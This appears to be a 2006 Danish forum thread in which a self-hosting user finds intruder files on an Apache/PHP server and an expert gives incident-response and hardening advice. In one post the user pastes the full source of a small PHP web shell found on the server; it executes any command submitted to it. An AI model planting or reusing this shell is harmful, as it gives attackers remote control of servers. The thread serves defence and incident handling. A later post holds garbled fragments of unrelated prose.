CIO Tech Eksperten IT-JOB IT-Kurser Events Podcast Søg

Log ind eller opret profil

Du kan også logge ind via nedenstående tjenester

janjacobsen Nybegynder

02. marts 2006 - 23:25 Der er 16 kommentarer og
2 løsninger

Er jeg blevet HACKET?

Jeg kører apache 2.xx.xx som webserver og her til aften skulle jeg lige kigge lidt i min rodmappe og have opdateret lidt.
Til min forbavselse ligger der i min mappe nogle eksekverbare filer ved navn indiftpd, sh, cfg-filer.
Hvordan kan de pludselig ligge på min webserver???
Jeg kører php 4.xx.xx, mySQL sammen med denne apache.
Hvordan undersøger jeg om der er blevet permanent adgang til maskinen og hvordan sikrer jeg denne maskine?

Jeg hoster selv på min egen adsl.

Synes godt om

bufferzone Praktikant

02. marts 2006 - 23:41 #1

Det lyder som om du er blevet hacket, hvis den slags filer dukker op ad det blå uden du ved hvordan de er kommet der.

Du gør følgende.

1. Start med at tage forbindelsen fra nettet.
2. Herefter formaterer du serveren.
3. Så geninstallerer du styresystem og programmer fra bunden. Ikke noget med restår fra backup, for du ved ikke hvornår hackeren kompromittered dig. Installation sker fra sikrede medier.
4. Herefter fuld patching af af alle applikationer
5. Overvej at anvende SELinux som er en særlig sikret kernel du kan implementerer
6. Overvej at køre Bastille, som er et script der sikre maskiner.
7. kik på Tiger scriptet derer en slags baseline analyser til linux
8. Kik forbi http://ww.nsa,gov (vor du også herter SELINUX) og brug deres guides til hardening af din apache
9. Geninstaller dine web sites. og sikre dem ordentligt. jeg har skrevet en artikel om bl. sikker web kodning
10. Tag en firewall i brug, f.eks. ne netfilter box mellem din web server og din router
11. Overvej at anvende IDS, f.eks. snort derer gratis.

Glem alt om at undersøge maskinen, hvis han er noget værd, så har han slettet sine spor og gemt resten

Synes godt om

bufferzone Praktikant

02. marts 2006 - 23:42 #2

læs denne

http://www.eksperten.dk/artikler/908

Synes godt om

bufferzone Praktikant

02. marts 2006 - 23:43 #3

hvis det mod forventning er en windows server, så må di lige skrive ind, så er det lidt andre programmer og scripts du skal anvende, men princippet er det samme

Synes godt om

janjacobsen Nybegynder

02. marts 2006 - 23:50 #4

Ok, jeg finder en ny linux - kigger på SElinux.
MEN hvordan i H.... kan man smide sine filer der???

Synes godt om

bufferzone Praktikant

02. marts 2006 - 23:58 #5

Det er det letteste i verden hvis man kender de rigtige værktøjer. Hvis du ikke har IDS systemer kørende, ikke patcher dine systemer, ikke selv sårbarhedsanalyserer dine systemer, så er det en smal sag at lave den slags.

Hvis jeg skal demonstrerer så bliver det på sikrede net og ikke over internettet og så er du nødt til at kikke forbi frederiksberg

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 00:11 #6

Hvad gør snort, sådan helt præcist?
Tiger script?

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 00:28 #7

Denne var også lagt ind: shell.php

<? $cmd=$_REQUEST["-cmd"];\
?><html><head><title>Donalds php shell</title></head><body bgcolor=#000000 text=#ffffff\
onLoad="document.forms[0].elements[-cmd].focus()"><form method=POST><br><input type=TEXT \
name="-cmd" size=64 value="<?=$cmd?>" style=background:#000000;color:#ffffff;"><hr><pre><?\
if($cmd !="") print Shell_Exec($cmd);?></pre></form></body></html>

Det er udover omtalte scripts:
Derudover kan jeg via ssh-loggen se at det er kopieret nogle backupfiler i /...
Hvad kan denne hacker have interesse i?

Synes godt om

bufferzone Praktikant

03. marts 2006 - 00:34 #8

Snort er et intrusion Detection Systen, der advare dig når der sker noget der ikke bør. Lige som et antivirus system, skal den kunne kende det der sker. Snort kan fange det meste

Tiger er et analyse script, der kan fortælle dig om din linux boks kan sikres bedre , lidt det asmme som MBSA til Windows

SSH har en del huller, dertraditionelt er blevet benyttet af hackerene til at komme ind, så det er måske der han er kommet ind. En gennemgribende analyse kræver en kopi af loggen og at han ikke har rettet i loggen

Han kan være interesseret i mange ting, Fil opbevaringsplads, et springbrædt til videre udfoldelser m.m.. Det har jeg også skrevet en artikel om. læs her, jeg har skrevet de fleste

http://www.eksperten.dk/artikler/Sikkerhed/

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 00:35 #9

Min secure_log er blevet slettet med alt før i dag???

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 00:36 #10

Arbejder du med sikkerhed til daglig?

Synes godt om

bufferzone Praktikant

03. marts 2006 - 00:40 #11

Ja,

Arbejder med (i forsvaret), underviser i (hos http://www.protego.dk/ og http://www.pwc.dk/ der i dag er det samme firma) og er certificeret CPSA og GCFW.
Flere certificeringer følger snart

Synes godt om

bufferzone Praktikant

03. marts 2006 - 00:45 #12

hvis loggen er slettet er det meget vandskeligt, men da ikke umuligt

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 00:52 #13

Men hvis man ligger et ftp-program op er det vel for at hente filer og/eller uploade filer. Jeg har 2 servere - denne hvor mail og webserver kører fra og den anden som databaser kører fra. Jeg tror ikke at denne er rørt.
Anbefaler du at web og mail hostes ude eller kan de ligeså hostes af os selv?
Men her det en redhat 7.3 og en fedora 2. Har en freebsd som web/mail backup.

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 09:28 #14

Nu får jeg direkte trusler på min e-mail, om at de vil hacke min server - jeg kan så kontakte dem pr. e-mail. Hvad er mit træk, da serveren skal køre? Men sikkerhed kommer selvfølgelig i første række.
Jeg har lidt i tankerne at kontakte politiet.

Synes godt om

bufferzone Praktikant

03. marts 2006 - 10:28 #15

Du bør kontakte politiet og se at få den maskine hardnet.

FTP servere bruges normalt af folk der ønsker at dele filer og andet skidt, selvom det dog ser ud som om der her er tale om et afpredsnings forsøg.

Mht at udbyde mail serveren, så er det en option mange vælger, så sikkerheden håndteres af andre. Derer så andre begrændsninger som du lige skal overveje før du endeligt beslutterd dig

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 11:22 #16

Jeg har skrevet en e-mail til politiet, men jeg forventer ikke at de vil tage sig af det. Webhoteller er vel ligeså sårbare?
Jeg vil når jeg kører hjem i dag, sætte en windowsmaskine op til at agere webserver i weekenden, mens jeg reformaterer den ramte maskine.

Jeg har ikke nogen plan fr hvad jeg skal gøre i en sådan situation.

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 11:36 #17

Vedkommende skriver dette i e-mails, hvis log også er slettet fra serveren.
Har lidt svært ved at se sammenhængen.

his portrait for us, and it will continue to live, as aster akel ( unch),
our anish hespis, will continue to live. he play and

already on land, and just at

a man in openhagen, the merchant erger, should be his guardian, since the
preacher did not wish to undertake the office. osalie was not forgotten
her devotion and fidelity had won for her a relative s right. er last days
should be free from care

with talents so

haughnessy says so. e was in yisterdah an says he is time we done
something to make th immigration laws sthronger, says

in the moon, which supposes this to be a man whom the ord has sent up
there because he

and drove away to yborg, the nearest town

had ruled, and apoleon s

Synes godt om

janjacobsen Nybegynder

03. marts 2006 - 22:37 #18

ok, mange tak for hjælpen.
Jeg er ved at smide en bsd ind i stedet for.

Synes godt om

Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Følg dette spørgsmål

Opret Preview

It-udvikling kurser

Uanset kodesprog, så giver vi dig mulighederne for at udvikle det, du behøver.

Se alle It-udvikling kurser

Flere spørgsmål fra Webservere kategorien

Titel	Indlæg	Oprettet	Seneste aktivitet
Periodisk lang responstid Af AlbertK i Webservere	3	23/08/202415:54	24/08/202421:48
Yousee Af nu_igen i Webservere	1	08/04/202408:21	09/04/202409:44
.htaccess til PHP API Af Jan i Webservere	9	29/02/202408:05	29/02/202409:30
Web.config Af ingeman i Webservere	0	07/01/202409:53	-
IIS virker ikke på asp sider... Af bsn i Webservere	8	15/10/202313:14	18/10/202308:51

Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten

Seneste artiklerRSS